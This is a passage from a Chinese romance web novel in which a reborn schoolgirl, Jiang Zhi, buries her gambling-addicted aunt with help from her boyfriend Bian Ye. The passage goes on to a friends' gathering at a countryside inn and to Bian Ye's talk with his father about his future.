“谁让你回来的?你这个扫把星害死你爸妈还不够,还害死了我爸妈,你怎么还有脸来?” 姜若瑜指着她的鼻子,斥责一道接一道,难听的话狠狠扎在她伤口上。 “最该死的就是你,你快滚!这里不欢迎你!” 她被强行推出去,只能站在门口,看前来吊唁的人,没人管她的死活,都劝她赶紧走,别在这儿继续刺激她姑姑。 从那天起,她身边一个亲人也没有了。 本就灰暗的人生像是被冰水彻底熄灭的蜡烛,潮湿得再也点不起来,没有一点亮光。 看着安静闭着眼的姜若瑜,她应该高兴再也不会有这样一个人来打扰爷爷奶奶平静的生活的,可为什么心底还是空落落的。 心口缓慢地发涨。 她沉了沉气,把白布重新盖上。 联系了殡葬机构,姜栀走出了太平间,就坐在外面冰冷的长椅上等着。 头顶炽亮的光照的身影鲜明。 片刻后,手机忽然响起,她回过神,看了眼,是边野打来的视频电话。 她愣了下,挂断。 [有什么事打字就好,我不方便接。] 老破小楼下,边野看着五楼唯独黑暗的窗口,眉头微拧。 现在才八点多,她不会睡这么早。 没再回她消息,边野打电话派人去查她下落。 得知姜栀在南市时,他愣了下。 确定她爷爷奶奶都在家,他上车踩下油门直奔南市。 找到她的时候,她就坐在殡仪馆门口,旁边还有个行李箱,纤瘦单薄的一个小姑娘,仰着脑袋看漆黑的夜空,一动不动。 什么也没说,却透出一股孤寂感。 “姜栀。” 他走过去,很温和地喊了她一声。 来的路上他已经弄清楚她来南市的缘由,姜若瑜死得很突然但又在意料之中。 听到声音,她缓缓偏头。 少年身形高挺,立在她面前,眼底黑沉。 静止似的盯着他看了会儿,她抿嘴微微一笑,没什么温度,“警察叔叔说她生前有一笔大额汇账,是从宿城转过来的,那笔钱是你给她的对吗?” 虽然在问他,但语调却是陈述,并没疑问。 边野咽了咽嗓子,在她面前蹲下,“嗯,如果你怪我——” 这种嗜赌如命的人,如果突然有一大笔钱,根本守不住,就像溺水前抓住的救命稻草,短暂的回光返照后,很快就会彻底沉下去。 “不。”她摇摇头,“我不怪你。” “她落得这个下场不怨任何人,我不想替她说什么,替她料理后事已经是我最后愿意为她做的。” 她赌博赌得夫离子散,家破人亡时,就不值得同情和可怜了。 边野看着她,觉得她冷静得过分。 他心口像是悬着块石头,不上不下。 “但你给她这笔钱,我开心不起来。”姜栀望着他,声音在徐徐吹过的凉风里,有点儿缥缈,“如果爷爷奶奶知道,也不会想你这么做的。” “也许这对你来说是不算什么,但这笔钱对我们家来说,是个很大的数字。我和你在一起,从来就不是贪图你的钱。” 她说着,眼眶止不住地红起来,却仍保持着清晰的嗓音,“边野,你该跟我商量的。” 从警察叔叔那儿得知的时候,没人知道她心里什么滋味,像打翻了五味瓶一样,难以平复。 如果边叔叔知道他拿了这么多钱去给她解决这样的烂事,会怎么想呢。 她不知道他们可以走多久,只能凭着一腔孤勇牵起他的手。 “姜栀,我……”这种时候,他词穷得不知道说什么去宽慰她。 搭在膝上的手不由自主地蜷起,漆黑的瞳孔里透出没有着落的慌张来。 她唇瓣微微扬起,眼底含着晶莹的泪,在灯光下闪着细碎的光,“但还是谢谢你。” 姜若瑜在孟城住了大半辈子,怎么会突然来南市住呢,人生地不熟的。她想她知道前世爷爷奶奶怎么去世的了。 一直以来都以为只要看好爷爷奶奶,尽力去度过最危险的时刻就可以,甚至在今天之前还在庆幸自己真的能改变他们的命运,原来是你在我不知道的时候替我扛着那些险些发生的苦难。 “别哭。”他抬手去抹她眼眶里掉下来的泪,声音紧涩。 姜栀忽然倾身搂住他,眼角又滑出泪来,说话时带着点鼻音,“这笔钱,我会努力赚来还你的。” 她好像逐渐习惯了他的存在,竟有些害怕这样的习惯突然有一天会消失。明明边叔叔之前见她时什么都没说。 她怎么比自己想的要胆小许多,也不知道她这番没有逻辑的话他会不会听不懂。 边野轻轻拍了拍她后背,眼睫垂下几许,“不用还,欠老东西的,将来我会还他。” 他声音沉闷,“我拿的时候就没想过让你付出什么,也没想着让你知道,你只管好好读书,嗯?” 姜栀缓缓松开,手却还搭在他双肩上,笑起来能看见泪痕,“嗯,我知道的,那就改成以后我们一起把这笔填上。” 边野无可奈何地替她擦脸,“这现在不是你该操心的事。” 他握住她的手,眉头皱了皱,“怎么这么凉,冷不冷?” 她摇摇头,“不冷的。” “吃饭了吗?”边野看她。 “还没,还在等她火化结束。” 边野往里瞥了眼,“在这儿等我。” 姜栀乖乖坐在原地,觉得自己怎么重生回来一遭,没长大就算了,还动不动就掉眼泪。 她等了会儿,没多久边野就给她带了碗热气腾腾的馄饨回来,“趁热吃。” “嗯。”姜栀用勺子舀起一只放进嘴里,安安静静地吃。 他在另一边帮她将所有流程一一走完。 甚至墓地都帮她联系好了,她付了钱后,当晚跟着他一起把姜若瑜下葬。 一直搞到快十二点,这事儿才算彻底结束。 姜栀看着刻好的墓碑,上面空荡荡的,没有姜若瑜的生前照片。 见她一瞬不错地看,边野低声道:“如果难过,肩膀可以借你。” 她摇摇头,收回视线,偏头去看他,带着攻击性的五官此刻看起来没有半点锋芒,那双眼盛着一片幽暗的温柔。 姜栀朝她抬起手,瞳眸明亮。 他不解挑眉。 她没说话,垂下手去握住他的,少年手掌宽厚,温度也比她的高。 边野低眸,手指钻过空隙交叉握紧,唇角缓缓勾起。 深夜的天真得黑,墓园里光线昏暗。 两人一路往外走。 “不是说了不要来找我吗,我会尽快回去的。”她声音轻柔,听得人心底发软。 边野懒散挑眉,“那怎么办,我茶不思饭不想的,再不来看看,就要得相思病了,某人又不管我。” 姜栀被他逗笑,强行忍着,“这回开了多久。” 他低眸漫不经心地睨她一眼,“也就……三天三夜吧。” “啊?脑子不会坏掉吧。”她忍不住笑起来。 边野深吸一口夜里微凉的空气,戏谑道:“坏掉就坏掉,你得为我负责。” 她唇角弯起,既不应也不否决。 到了附近的酒店,边野拎着行李箱进去,她模样乖巧跟在后面。 “订两间房。”他拿出身份证给前台。 前台在电脑上看了眼,面带歉意道:“不好意思,只剩一间大床房了,还要订吗?” 姜栀愣了下。 “等下。”边野用手机搜了下附近最近的其余酒店,至少还要开半小时,墓园这块比较偏,去哪儿都比较远。 掐了屏幕,他面不改色道:“订吧。” 回头问她拿身份证。 姜栀唇瓣动了动,想说什么最终还是咽了回去,把身份证递给他。 她在脑子里模拟着,待会儿两个人怎么睡一间房,就听到边野提醒她:“跟上。” “……哦。”她跟到电梯里,总觉得应该说点什么。 “边野。” 他偏头看她:“怎么了?” 见他一脸坦然的模样,姜栀有点自我怀疑,难道是她想太多了吗? 见楼层到了,她摇摇头。 先一步走出去。 房卡滴了一声,姜栀走进去,却发现只有张床和桌椅,没有沙发。 她有点局促地站在那儿。 边野把行李推进来,又给她把水拧开放在床头,最后叮嘱她:“晚上睡觉把门锁好,有人敲门别开门。” “哦……啊?” 姜栀愣了下,见他往外走不解道:“你去哪儿?” “回车里睡,不然还能去哪?”他坦荡解释。 看见他眼底的疲倦,姜栀回头看了眼这张床,说不出话来,“那……能睡好吗?” “没事,就一晚上,随便对付一下。” 边野懒散勾唇,“你早点睡,不许熬夜。” 说完转身就走。 门关上,她在床上呆坐了片刻后,还是起身跑出去。 边野已经走出了酒店大厅,身后忽然传来一阵匆促的脚步声。 他下意识回头,看见那道单薄纤弱的身影朝自己奔来。 “怎么了?” 他停在原地,“是落了什么东西吗?” 姜栀因为一阵小跑呼吸有点急,白皙如瓷的肌肤泛着点粉,“没。” 她深吸了口气,一股脑说出来:“你、你别回车里了,我们……挤一挤吧。” 说完,脸颊更红了,眼神也止不住地微微闪烁。 边野被她这副做了很大决心的模样逗笑,伸手揉了揉她毛茸茸的脑袋,“我没事,你快回去吧。” 她抿了抿唇,迎着他的视线:“我认真的。” 虽没有他之前说开了三天三夜那样夸张,但一定也开了七八小时,再加上去墓园,又从那里回来,他精力再好,也不是石头。 边野愣了下。 二十分钟后。 姜栀已经洗漱好躺在床上,房间里开了点空调,温度不是很低。她把自己包在被子里,耳边是浴室里响起的哗哗水声。 水声一停,她立马把脑袋埋在被子里装睡。 边野这回穿得很规矩,没露一点不该露的。 看她露在外面的一点点脑袋毛,好笑地勾了勾唇角,“睡了?” “嗯。”姜栀没睡着,下意识应他,应完才知道自己发出了声音,耳尖脸颊都红了个透。 他眼底浮起愉悦,走到床边,把被子都往她身上裹,只给自己留了四分之一的位置。见她依旧一动不动,他伸手去拉蒙住脸的被子,“你要把自己憋死吗?” 姜栀松了手,垂着的眼睫轻轻颤动。 被子拉下去一点,露出她整张脸,房间里只开着门灯,光线微弱,被浴室的墙挡住,只能透过来一点微光。 看她绯红的脸,边野眼神温柔,嘴却不饶人,“除了我,跟谁都不可以知不知道?不是每个人都像我这样正人君子的。” 姜栀眨巴着眼,抓着被子低声回他:“……也只有你。” 他眉头微挑,压着嘴角的笑意,“嗯,这还差不多。” “你没有被子晚上不冷吗?”空调还开着呢。 边野觉得自己现在兴奋得很,明明开了这么久的车,吃得也匆忙。他看着天花板,没什么光线显得黑乎乎的,刚想说不冷,又忽然很想逗她。 “那你跟我盖一床被。”他佯装伸手去拉。 姜栀一惊,赶紧裹紧被子,又把脑袋埋进了被窝里。 “你属刺猬的吗?”他好笑地挑眉。 意识到他是在逗自己,姜栀露出一双眼睛,圆滚滚且没好气地瞪着他,像炸毛的小猫,“是呀,扎死你算啦。” 她看起来气鼓鼓的,“睡觉,不许再跟我说话。” 边野睨她一眼,近在咫尺的少女已经闭上了眼,睫毛纤长细密。安静的房间里,他听到自胸腔里传来的热烈心跳声,带着愉悦走过每一寸肌肤。 第42章 第 42 章 得知边野准备在孟城待三五天, 姜栀打算先回家一趟。 路上她用姜若瑜的手机给爷爷发了条短信,才将遗物处理掉。 前脚到家,后脚她就看见爷爷垂头丧气地坐在沙发上, 手机搁置在跟前的桌几上, 藏着心事的模样。 姜栀装作一无所知的模样, 走过去关心:“怎么啦爷爷, 是谁惹爷爷不开心了吗?” 姜爷爷本不想说, 最终还是叹了口气, “是你姑姑……”他脸上有惆怅和愁容, 想要释怀好像又没法释怀,“她说以后跟我们断绝关系,让我们都不要联系她。” “连电话都打不通。” 姜栀看了眼桌上的手机,轻声安慰:“既然她这么决定了,那我们就顺其自然吧,也许哪天她忽然想通, 又回来找我们呢。” 姜爷爷拍了拍她的手, 眼里露出欣慰之色,“不孝女啊。还好我和你奶奶有你这么个好孙女。” 她眉眼微微弯起,“开心点啦爷爷,一会儿陪你下棋好不好。” “好啊,这回可不许悔棋。” “嗯,不悔棋。” 见爷爷心情好点儿,姜栀默不作声地松了口气。 她不知道能瞒多久,但能多瞒一天是一天吧。 以后的事以后再说。 将行李放回房间里, 她给边野报了个平安后就陪着爷爷下棋。 这两天几乎所有的时间都拿来陪老两口, 边野知道她的想法,没有来打扰她, 她连暑假作业都是抽空写的。 接到边野的电话是第三天午后。 她正准备午睡一会儿。 “怎么啦。”姜栀去铺床上的被子,声音柔柔软软。 “朋友组了个局,你想去吗?”透过电波,他嗓音低磁地落在耳膜上。 她坐在床边,看着窗外绿茵茵的树叶,阳光很闪亮地照射在叶面上,“有想好什么时候回去吗?” “明天吧。”边野低笑着调侃,“再不回去,姜老师给我布置的任务完不成了怎么办。” 姜栀眼里溢出几分愧疚。 这么远来孟城一趟,光顾着给她处理家里的事,也给她空间去缓解,明明没多久就要回去。 “嗯,那要我准备什么吗,我第一次去这种局。” 她听到对面传来的明显愉悦,“什么都不用,把人带上就好。我来接你。” 地点在隔壁市的农家乐,一个小时车程。 到的时候,姜栀刚睡醒,还有些懵然,抚了抚额头,声音还带着点没醒的睡音,“到了吗?” 边野熄火看她,忍不住伸手揉了揉她脑袋,“嗯,睡好了吗?没有的话就再睡会儿。” 她摇摇头,“不用啦。” 农家乐建在半山腰上,放眼望去一片青绿之色,生机盎然,青草地上开着一片紫色的野花,沿着上山的道,四周传来不知名的鸟鸣,倒是有种世外桃源的感觉。 姜栀驻足望了会儿,就听到身后传来一阵不怎么齐整的脚步声。 “边野!” 清亮的女声响起,她回头去看。 离他们几十米距离的地方,洋洋洒洒走过来五六个人,最前面的是个白裙子女生,扎着侧边麻花,墨黑色头发微卷,垂在胸前,发间插着只粉色花朵。 高挑纤瘦,皮肤白皙,一双眼偌大,漂亮精致得像个洋娃娃,像阳光下清凉又明媚的海景,笑容热情,落落大方。 “一年没见,怎么还是这么个臭样子,见到我都不知道喊姐?”任恔妤上下打量边野一番,毫不客气地指指点点。 “姐什么姐,皮痒?”他嗓音懒淡。 任恔妤也懒得搭理他,看到他身边温柔可爱的少女,眼睛都在发光,“就是你降服了这个洪水猛兽吧?” 姜栀有点懵,偷瞄了边野一眼。 “我叫任恔妤,他半路出家的发小。”她说着伸手戳了戳姜栀的脸颊,一脸夸赞,“真是可惜了,你这么漂亮,怎么会看上他,一朵鲜花插在牛粪上。” 相比较她的热烈,姜栀内敛许多,不知道说什么就只好微笑。 “任恔妤,你别把人姜妹妹教坏好吧,她可是好学生,野哥当宝的存在,可不是跟你一样不务正业。” 跟上来的宋言旭大大咧咧地插嘴。 她转头朝他弯唇一笑,一把揪住他耳朵,“就你嘴欠。” “嗷嗷嗷——”宋言旭歪着脑袋想跑,被她揪着打,“你灭绝师太啊,打人这么疼,以后肯定没人要你!” 任恔妤友好一笑后,给他一脚,“不牢你费心。” 宋言旭被任恔妤追着打了会儿,一边嗷嗷叫一边斥责这些兄弟们不给自己帮忙,又可怜又好笑。 这群人毫不理会,甚至看戏般火上浇油。 姜栀没忍住,弯唇轻笑。 “他们就这样,多接触接触就习惯了。”边野低眸看她。 “嗯。” 任恔妤见好就收,跟着大家徒步往农家乐走。 一起来的好朋友周恪想起什么问道:“妤姐,你上午不说今天跟程烬约了吗,你来这儿鸽他,他不会不高兴吗?” 她愣了下,眼底有异样的光闪过,“我忘记这事了……他等不到我肯定会自己回去的吧,应该没那么傻。” 宋言旭“啧啧”摇头,“好一个渣女。” “……你又欠收拾了是吧。”任恔妤睨他一眼。 “不敢不敢。”他笑眯眯地后退。 到农家乐时已经三点多,几个男生张罗着要亲手下厨,边野没这个闲情逸致,原本想带姜栀去周围转转,硬是被宋言旭拉走了。 任恔妤朝她招手,“去楼上的露天天台坐会儿?” “好。” 二楼视野好,天台上支着很大的遮阳伞。 姜栀靠在躺椅上,山上有风吹来,倒有几分凉意。 “这里空气真清新啊。”任恔妤张着双臂,闭着眼深呼吸,脸上挂着满足的笑。 她顺着这话放眼去看,远处是连绵不绝的苍山,峰峦间氤氲着白雾,安宁祥和,有种被洗涤过后的清灵感。 任恔妤用手比了相框,眯眼看了会儿,觉得没太多意思,回头问她:“我来的路上听姓宋的说你叫姜栀,是圣嘉西区的学霸,还是校花,妹妹你学习好又漂亮怎么会看上边野这家伙?” “我爸妈跟他爸妈是旧识,小时候我们是邻居,我比他早出生一天,死活不叫我姐,天天直呼我大名。他小时候脾气就很差,长大后就更混蛋了,也就胜在生了张好皮囊,从小就招蜂引蝶,一年没见,果然还是原来那个臭脾气。” 姜栀圆润的眼睛微微一动,笑道:“是很不好。” 最开始的时候连跟着他都不让,她甚至真的以为他会揍她。 “但后面熟悉了才发现他本身是个很好的人。”似乎不论她说什么,他都会放在心上,也很尊重她的想法。 如果他的爸妈没有早早分裂,也许他脾气不会像现在这样。 任恔妤很感兴趣地看着她,“妹妹,我也是头一次见他这么喜欢一个女孩,姓宋的说他坚持了快一年,你是被感动的还是真喜欢他啊?” 她望着远处的山景,其实也不太说得出来。 但只要想起边野,那些危难时刻他冲在自己面前的场景就会像走马灯似的在眼前闪过。 “应该是喜欢吧。”和他待在一起的时候,她总觉得心安。 站在二楼楼梯口的少年闻低垂下眼睫,握着牛奶瓶的手缓缓收紧。 不喜欢他也没关系,愿意待在他身边就好。 任恔妤眨了眨眼,“他是你初恋吧?” 姜栀乖乖点头。 “怪不得。”她笑起来,把玩着手腕上的发绳,“如果分不清是不是喜欢,可以从亲密接触里判断,他靠近你的时候,你脸红心跳吗?” 姜栀脑海里下意识想起今天来的路上,他偷亲她脸颊的事,虽然只有一瞬,但感觉浑身都在发热。 面对任恔妤炽热的眼神,她忍不住耳尖泛红,轻轻点头。 “那就是了。现在看到有人能治边野这个臭小子,我真是开心得不得了。”她忍不住感慨,“以后他要是敢欺负你,你就告诉我,我一定给他脑袋打开花。” 说着还示意了自己的拳头。 姜栀忍不住被逗笑。 “说什么乱七八糟的,别给我姑娘带坏了。”边野从楼道口走来,将手里的热牛奶递给她,“吃饭还有一会儿,喝点先垫垫。” 任恔妤瞥了他一眼,“怎么不给我带一瓶。” 他一脸散漫:“自己没腿?” 姜栀拉了拉他袖子,眨巴眼示意他别这么说。 “别听她胡说八道的,有什么事叫我。”他揉了揉她脑袋,声音温和。 “我知道的,你去忙吧。”她微微仰着头,琥珀色眼眸清透柔软。 任恔妤无声一笑,眼底浮起感慨来,还真是长大了。 她望着远山,不由自主地出神。 “你呢,”姜栀偏头看她,很明媚的长相,却不时透着点忧伤,只是淡淡的不惹人注意,“你会有喜欢的男孩子吗?” 像她这样明艳张扬的女生一定不缺人喜欢吧。 任恔妤缓慢地眨动着眼,想起那张沉静斯文的脸,双眼几分深邃,鼻梁高挺,眉骨优越,经常穿着白衬衫,干干净净的少年,话很少,也很少笑,却会默默帮她做很多事。 风吹来,拂起她耳边碎发,她扬起唇角,笑得灿然,“没啊。” “我才不要喜欢男人。”她声音清扬,“一个人才快活呢。” 姜栀安安静静地望着她,唇角缓慢浮起弧度。 她很少遇到这样的女孩子,鲜活得像朝日,闪亮又明媚。 “不说我啦。”任恔妤回头笑盈盈看她,“我给你说点边野小时候的糗事吧,可有意思了。” 姜栀认真地竖起耳朵听。 她很有讲故事的天赋,姜栀不时就会被她逗笑。 天色暗下来,昏沉的暮色笼罩四野,一群人已经将晚饭做好,呼啦啦地上菜拉桌椅。 姜栀随着任恔妤下楼。 “以后有机会,我再给你继续讲。” “好。” 宋言旭听到,打趣道:“你都给姜妹妹讲点什么东西,给我也听听。” “靠边去。”任恔妤毫不客气送他一个白眼。 “坐这儿。”边野拉开椅子,喊姜栀。 她走过去乖乖坐下。 餐桌上摆满了农家菜,色香味俱全。 宋言旭给每个人都倒了杯酒,“真是好不容易聚在一起,上次还是一年前,今天我必须得说点什么,再开学就是高三,祝各位高三快乐!” “举杯!” 大伙纷纷拿起面前的酒杯,姜栀刚要伸手就被边野挡住,“忘记自己的酒量了?” 她眨巴着眼回想起来温泉山庄那次,面颊发红。 “她喝不了,我替她喝。” 他举杯过去砰,任恔妤啧啧摇头,“这还只是男女朋友呢,就管人妹妹这么严啊,连喝酒的自由都没有啦?” “你不是在这儿呢么,怕什么?” “就是啊野哥,管嫂子也太严了吧。” “姜妹妹,你想喝酒喝,咱们几个又不是坏人。” “……” 大家你一言我一语的。 姜栀觉得也有道理,她左右不用开车,好像喝一点点也没关系。 “真想喝?”边野低眸看她,声音低磁。 她眼眸亮晶晶的,乖巧得像个顺毛小猫,“嗯,想喝一点。”今天开心嘛。 “行,那就一点。”他无奈地把装了酒的玻璃杯推到她面前。 姜栀捧在手里,跟他们一起举杯。 “为即将到来的高三庆祝!” 宋言旭一声高喊,几只杯子清脆地碰到一起,气泡酒摇摇晃晃,像翻涌的海浪,在灯光下清澈漂亮。 一群人吃完饭后觉得不够尽兴还玩起了行酒令游戏,姜栀早已晕晕乎乎地趴在桌上。 边野从洗手间回来见她面颊驼红,纤长的眼睫映出一片阴影,他眼底浮起一抹无奈,走过去晃了晃她,“姜栀?” “嗯……” 她眉头轻蹙了两下,迷迷糊糊地应着。 “我先送她上去,你们继续。” 边野小心扶住她脖颈,将人打横抱起。怀里的少女很轻,像个感受到舒适的小猫似的往他怀里又钻了钻。 钻得他胸口发痒。 边野喉结滚了滚,心里沉了口气,把人送到楼上的房间里。 给她脱了鞋子放在床上,他拉过被子笼统一盖。 下一刻就被姜栀掀开。 “热……” 她嘟嘟囔囔地念叨,“好热……” 念叨完又去扯自己的领口,雪白的肌肤一瞬暴露在他视野里,还有鲜明细腻的锁骨。 边野愣了一下,一把将她手扯下,撇开眼把她衣领扣好。 “睡觉就睡觉,别乱动。” 他眉头微拧,嗓子有些发紧。 见她半天没再动,边野起身准备出去。 衣角却忽然被拉住。 他回头,姜栀脸颊粉嫩,迷离着双眼看他。 “醒了?” 她摇摇头,又点点头。 松开手,姜栀朝他小猫儿似的招招手。 边野不知道她什么意思,迟钝一秒凑过去。 她伸手抓住他领口,使了点力往下,他就顺着力道弯身,“怎么了?” 姜栀没说话,笑起来眉眼弯弯,清甜诱人。她继续拉他,边野眉头蹙了下,眼见距离越来越近,他咽了咽嗓子,神经竟有点紧绷。 耳边忽然落来柔软的气息,像羽毛似的扫着。 边野无意识地蜷了下手指。 “边野——”她声音很轻很轻,软软糯糯,因为喝了酒还有点含糊不清,“我好像……” “嗯?”他就这么维持着这个倾身的姿势,哪怕领口的手已经没了力道。 见她一直没说话,他低眸,她不知道什么时候已经睡着了,粉嫩如蜜桃的面颊露在他眼皮子底下,柔软诱人。 边野无奈一笑,轻叹一口气,把她搭着自己领口的手放下去。 将空调开到合适的温度,他拉灯后悄无声息地离开。 楼下,任恔妤趴在桌上醉醺醺地看着外面的夜色。 “晚上住这儿?”边野走下来问她。 她摇摇头,“你们住吧,我得回家……我不能在外面过夜。” 边野看了眼那群醉得不成样子的男生,拿出手机,“我叫个代驾过来,把你送回去?” “行。”她抬手比了个ok。 “好晕啊,我要去外面呼吸呼吸新鲜空气。”她扶着桌子摇摇晃晃地站起来,路都走不太稳了还执着往外走。 “能行?”边野蹙眉。 “能、行!” 农家乐地处稍偏,夜里有不知哪传来的蛙声。 她仰头,看到夜幕里有一闪一闪的星星,扬起唇角深深吸了口气。 边野在廊檐下一面看着她一边给代驾打电话。 “任恔妤。” 沉静冷淡的声音从侧前方传来,她迷糊地左右看,才看到一个穿着白衬衣的少年站在不远处。 她眨了眨眼,步子不稳地走过去。 “程——”话还没说完,她脚下一崴,差点摔倒之际被他稳稳扶住,手腕被人攥在手里,很紧。 “你、你放手,好痛。”任恔妤皱眉挣扎,却被他握得越发紧。 “你想干嘛!”她不爽地瞪他,醉酒迷糊的眼眸里依旧有恼火。 程烬比她高出一个头,面目沉淡,默然地盯了她一会儿,忽的松手,转身离开。 “等、等等!” 任恔妤拽着他衬衣一角,瞳眸晶莹地望着他,声音很甜,“你背我走好不好?” 山腰路灯昏暗,却遮掩不住她张扬的美丽,朦胧之下,反倒更像转瞬即逝的幻影。程烬看着她,没拒绝。 边野远远看到她被个人背起来,追过去发现是她同学,松了口气。 嘱咐人把她安全送到家才回去。 任恔妤软软地趴在他肩膀上,但怎么都觉得不够舒服,她伸手戳了戳他肩膀,“你身上怎么这么硬啊。” 程烬一言不发地背着她。 “走路灯照的到的地方,有影子。”她醉呼呼地指挥他。 他步伐稳健,双臂有力。 背着她时,柔软的手臂肌肤紧挨着他脖颈,鼻尖有淡淡的香气。 他始终沉静,也不问她为什么把自己晾在约好的地方那么久。 “程烬……”她含糊地喊他,歪了歪脑袋换了个舒服的方向枕着,“你好死板无趣哦,每天闷闷的跟个树桩一样。” 他看着脚下的路,一步一步往前,影子被光线拉得很长,“嗯。” “你、你别喜欢我了好不好?”她抬起一点脖子,远方的路摇摇晃晃有重影,“跟你在一起,好没意思……” 程烬没出声,脸上没什么太大情绪,像是早已习惯。 任恔妤搂着他的脖子,困意一阵阵袭来,她眼皮已经睁不开,“程烬……我们分手吧好不好……” 他幽黑的瞳眸晦暗一瞬,像寂灭的深海。 “好不好啊……” 他望着模糊不清的远方,“嗯”了一声,一步步走进浓重的夜色里。 农家乐里。 边野把这些人都弄到楼上房间后,沾染着一身酒气去冲澡。出来时,宋言旭还趴在沙发上,他踢了一脚,“洗了再睡。” “……哦。”他困地从沙发上爬起来,跟一尊大佛似的靠坐在沙发上。 “叩叩——” 敲门声传来,边野擦了下还着还在滴水的头发去开门,看到是醉醺醺的姜栀愣了下,好在她的房间就在隔壁。 “怎么起来了,哪里不舒服吗?” 姜栀扶着门框,乖巧地冲他点头,然后抬起左手,白皙的手腕上有两个红肿的小包,她可怜兮兮地看他,“好痒……” “有蚊子。” 她面颊微鼓,双眼迷蒙又楚楚。 边野被她这模样逗笑,勾唇在握住她手臂,掐了个“十”字,“先忍忍,我去给你拿驱蚊液。” 她拨浪鼓似的点头,乖乖在门外等着。 边野从柜子里翻出来,拿了走去门边,却见她歪着脑袋往里看。 “看到什么好看的了?” 姜栀越过他往里走了一点,看着刚亮起不久的电视屏幕,“这个电影我好像没看过。” 他回头一看,屏幕里正放着少儿不宜的画面。 姓宋的喝醉了怎么什么都投屏,不是困得爬不起来了吗,还有工夫开电视。 眼皮一跳,他直接把人带出来,随即关上门。 姜栀还迷迷糊糊的,有点不满,“……我还没看完。” 边野:“……那是大人看的,你一小孩不许看。”他握着她手腕进她房间,给她安插驱蚊液,又拿了花露水把人带到床边,仔细涂抹。 抬头间,她忽然离自己很近。 近到睫毛眨动间都能扫到他鼻尖。 他盖花露水盖子的手顿住,迎上她清透朦胧的双眼。 “边野。” 姜栀眨动着眼睛,一点一点地靠近他,酒精令她行动有些缓慢。 眼看着距离越来越短,少女粉嫩的唇瓣几乎近在咫尺,他眼睫垂下去,喉结不自控地翻滚了两下,腹部发紧。 “知知……”他低声叫她,被她纤细白嫩的手指轻轻堵住嘴巴。 触感柔软。 房间里静得过分,他几乎能听见自己呼吸的细微声。 姜栀缓缓靠近,擦着他的脸颊停留在他耳边,说出那会儿喊他时却没能说完的话。 “我好像……是真的喜欢你。”她眨巴着眼,头顶的光落在那双眼眸里,温亮迷人。 他眼睫随着这话轻颤了下,胸腔里的心跳声在寂静的夜里显得很清晰。 是在回答任恔妤下午在阳台上问她的那个问题吗? 她声音轻轻软软:“我会……再多喜欢你一点。” 如果能抹平一些你年少时的痛苦,就更好了。 第43章 第 43 章 隔天, 边野将人送回孟城后,就回了宿城。 还没到家,老边总的电话已经打过来, 他淡漠地睨了眼, 面不改色地挂断, 直到手机第三次响。 他蹙眉接通, 开了免提。 “有事就说。”很敷衍和不耐烦的态度。 老边总早就习惯, 嘴上虽然叨叨两句, 但并没真的生他气, 他靠在沙发上喝了口茶,“去了这么多天,回来没有?” 边野耐心告罄,“你要没事,别打电话。” “作为你老子,关心关心自己儿子, 也有问题?”老边总不满挑眉, 在他即将挂断时捡了重点说:“来公司一趟,我有事跟你谈。” 边野不爽,“什么事不能电话里说?” “一两句说不清,你不是喜欢知知吗,难道不为她的未来考虑下?”像是笃定他会松口,老边总优哉游哉的反问。 边野瞥了眼手机,开到路口调转方向,重新开向边氏。 边氏坐落在市中心, 高楼林立中, 银色的集团标识挂在上方,在耀眼的阳光下折射出刺目的光。 把车钥匙丢给门口安保, 他淡漠着脸走进去。 偌大敞亮的大厅里人群来往。公司里的人都认得他,看见他纷纷喊道:“边少。” 他一路坐专梯上了五十六楼。 这层没什么员工,安静得过分,边野的脚步声在铮亮的地板上发出闷沉的声音。 董事办公室里,老边总翻看着桌上的企划书,见到他进来,肃穆的脸上露出笑意,“来了,坐。” 边野神色冷淡,“到底什么事?” 老边总不疾不徐,“心急吃不了热豆腐,先坐。” 他默不作声沉了口气,在他对面坐下。 办公室敞亮,布置的干净简洁,透明的落地大窗能看见远处的外滩和明珠塔。边野却没什么心情,冷冷挑眉,“现在可以说了?” 老边总看着他,历经沧桑的眼里露出几分欣慰。 明明还是从前那副样子,但身上的戾气削减了不少,对学习也在上心,虽然进步不多,但很努力地在刷题。 和从前只知道吃喝玩乐的小子判若两人,身上也多了点人气。 至少愿意坐下来听他说话了。 “去见了知知吧,她在孟城过得怎么样?”老边总笑问。 “……” 边野冷眼睨着他,“你要没什么好说的,别叫我。” 他作势要走,老边总立马开口拦住,“行,行。”他把桌上的企划书推过去,“看看,这是西郊沿海那块的地皮,底下人交上来的利用意见,我想听听你的看法。” 边野低眸看了眼,碰都没碰,目露讥讽:“所以叫我来就是为了这个?你公司开这么大,还要沦落到问我的意见?” 这副态度在老边总意料之内,他笑了笑,“你有信心考上大学吗,就凭你现在的成绩。” 他没说话。 “知知的学习一直很好,她想去哪儿都行,你行吗?”老边总毫不留情地扎他痛处。 “这是我的事,不牢你费心。” 老边总摇头低笑,“你成绩成绩不出色,又不愿意接管我的生意,那你想怎么样?去给别人打工?你带着惨不忍睹的学历,谁愿意收你?” “退一万步,就算你找到了工作,你一年能挣几个钱,现在房价这么高,你自己吃苦不要紧,总不能带着她陪你一起吃苦吧?” 边野漆黑的瞳孔直直地盯着他。 “我相信她这样优秀的女孩不缺人喜欢,她为什么要跟着你这么个没有未来的人,不去找个可以让她依靠的人呢?” “如果我现在停了你的卡,你连油都加不起,更别说带她出去玩。”老边总十拿九稳地看着他,“你可以不接手我的生意,但至少要有做生意的脑子,你可以单干,我愿意投资赌一把,怎么样?” 这些话很现实地扎在他身。 他不得不承认,即便已经努力去学,可还是做不到完全记住那些知识,睡过一觉,他就能忘个七七八八。 边野垂眸盯着企划书,片刻后,颌骨微动,伸手翻开。 翻页声在静谧的办公室里很清晰。 老边总嘴角弯起,慢悠悠喝起茶来。 “这份企划书不行。” 边野只是看了一眼,就知道问题出在哪里,他合上后掀起眼皮。 老边总洗耳恭听,“说说。” “西郊虽然沿海,交通便利,但离市中心有近两小时的距离,想跨行业打造成旅游胜地……” 边野面色始终冷静,不疾不徐地输出自己的观点,对这份企划书的优缺点条分缕析。 短短二十来分钟,老边总眼底的满意越来越浓。 说完,他看着老边总,模样淡淡,“但我并不打算走你的想要我走的路子。” 老边总也不生气,“那你想进哪个行业?” 今天他点醒了自己,边野没再像一开始那样不客气,但态度也没多好,“这是我的事,她的未来我会负责,也不会让她陪着我吃苦。” 他起身,毫不犹豫地转身离开。 开门时,苏明歆正抱着文件站在门口。 看见他,她热情笑起来,“边少。” 边野目光冰冷地睨她一眼,半句都懒得应,错身就走。 